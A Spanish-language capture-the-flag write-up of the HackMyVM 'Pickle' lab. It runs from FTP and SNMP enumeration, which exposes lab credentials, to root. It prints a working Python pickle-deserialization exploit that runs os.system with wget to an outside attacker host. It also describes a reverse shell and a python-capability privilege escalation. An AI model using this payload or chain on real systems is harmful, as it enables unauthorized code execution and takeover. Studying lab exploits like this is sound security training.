HackMyVM Pickle — Linux


Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.
Descargamos el archivo de la página https://hackmyvm.eu/machines/
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo, pero tiene el nombre de debian
.
Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan
para ver la dirección IP en nuestra red que sería la 192.168.0.44
.
Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.
Empezamos con un escaneo de puertos y podemos ver que tenemos 2 puertos, el 21 y el 1337.
Al realizar un escaneo más profundo vemos que para el servicio FTP podemos acceder empleando un usuario anónimo.
Nos conectamos por FTP y podemos observar un archivo que descargamos.
Abrimos el archivo y podemos observar que está en flask
y crea una ampliación web. Donde tenemos 3 rutas (/
, /reset
y /checklist
), también vemos 3 librerías (hashlib
, socket
, pickle
y hmac
). Por último a primera vista vemos que apunta al puerto 1337
así también como en modo debug activado.
Si vamos al navegador e ingresamos la dirección IP con el puerto 1337
nos salta un pop-up para ingresar credenciales que no podemos identificar.
Ya que no tenemos donde buscar probamos buscando por UDP y podemos ver que tenemos el servicio snmp
.
Realizamos un escaneo del servicio y podemos ver que tenemos varios datos, entre ellos unas credenciales que necesitábamos.
lucas:SuperSecretPassword123!
Luego de ingresar las credenciales ya tenemos acceso a la página y podemos observar que tenemos varias opciones.
Probamos enviando un texto y lo que vemos es un mensaje que se envió de manera adecuada.
Interceptando las peticiones podemos ver más información de algunos parámetros.
Probando las otras direcciones de primera no obtenemos nada u observamos nada relevante, ya que nos saltan errores.
Probando un cambio de método observamos que nos interpreta y nos dan pistas que podemos emplear. Para el caso de /reset
tenemos lo siguiente.
En el caso de /checklist
tenemos esto otro.
En reset agregamos el username
y vemos que nos pide ahora una key
.
Ahora si agregamos un key
cualquiera nos muestra un cuadro para recuperar el password.
Realizamos lo mismo para la dirección checklist
y vemos que nos devuelve un error indicando que busca un archivo con el nombre que buscamos.
Revisando porque no encontramos el archivo regresamos al archivo que descargamos y vemos que lo encodea
en md5
.
Así que si transformamos test
usando md5sum
podemos obtener lo que necesitamos.
Copiamos el texto generado y reemplazamos por el texto plano y tenemos una respuesta positiva.
Ya que vemos que apuntando a checklist
tenemos una pista de como interpretar el archivo en el archivo init.py.bak
teníamos otra pista de como funcionaba y el módulo pickle
que emplea.
Buscando algún RCE para poder explotar el módulo, vemos que tenemos uno donde realiza deserializacion
en el siguiente GitHub, si bien es muy simple nos servirá para no empezar de cero y poder ver si tenemos algún acceso.
Ajustando el código, siguiendo las consultas y valores obtenidos en burpsuite, tenemos el siguiente código. Usamos cPickle
ya que con pickle
no tenemos alguna respuesta positiva.
#coding:utf-8
import cPickle
import requests
import hashlib
import base64
class PickleRCE(object):
def __reduce__(self):
import os
return (os.system,('wget http://192.168.0.61',))
url = "http://192.168.0.44:1337"
urlcheck = "http://192.168.0.44:1337/checklist"
credenciales = ("lucas", "SuperSecretPassword123!")
payload = cPickle.dumps(PickleRCE())
md5payl = hashlib.md5(payload).hexdigest()
# Parámetros de las solicitudes POST
primer_data = {
"story": payload,
"submit": "Submit+Query"
}
segunda_data = {
"check": md5payl
}
# Enviamos la primera solicitud POST
enviar_request = requests.post(url, data=primer_data, auth=credenciales)
# Verificamos la respuesta
print(enviar_request.status_code)
print(enviar_request.text)
#if enviar_request.status_code == 200:
check_requests = requests.post(urlcheck, data=segunda_data, auth=credenciales)
print(check_requests.text)
Luego de ejecutar la consulta podemos ver que el código se ejecuta.
Iniciamos nuestro listener y cambiamos los comandos a la revshell. Luego de ejecutar el archivo podemos ver que ya tenemos acceso.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola.
Revisando archivos temporales en opt
tenemos un directorio llamado project
.
Listamos el directorio y tenemos un archivo interesante. project.py
.
Abrimos el archivo y podemos ver que tenemos una variable interesante en /reset
.
Revisando los usuarios adicionales vemos que tenemos a mark
y root
.
Teniendo conocimiento de ello, ajustaremos la estructura que emplean en reset
para obtener los valores de lucas
y mark
.
Probamos ambas credenciales y son correctas.
Ya que accedimos como mark
buscando permisos SUID y capabilities podemos observar que tenemos python
habilitado en el segundo caso.
Si vamos a la página de GTFOBins podemos observar el comando para poder escalar como root.
Ejecutamos el comando realizando algunos ajustes, considerando la ubicación de la capabilitie
y ya somos root
. De esta manera culminando esta máquina.
Subscribe to my newsletter
Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
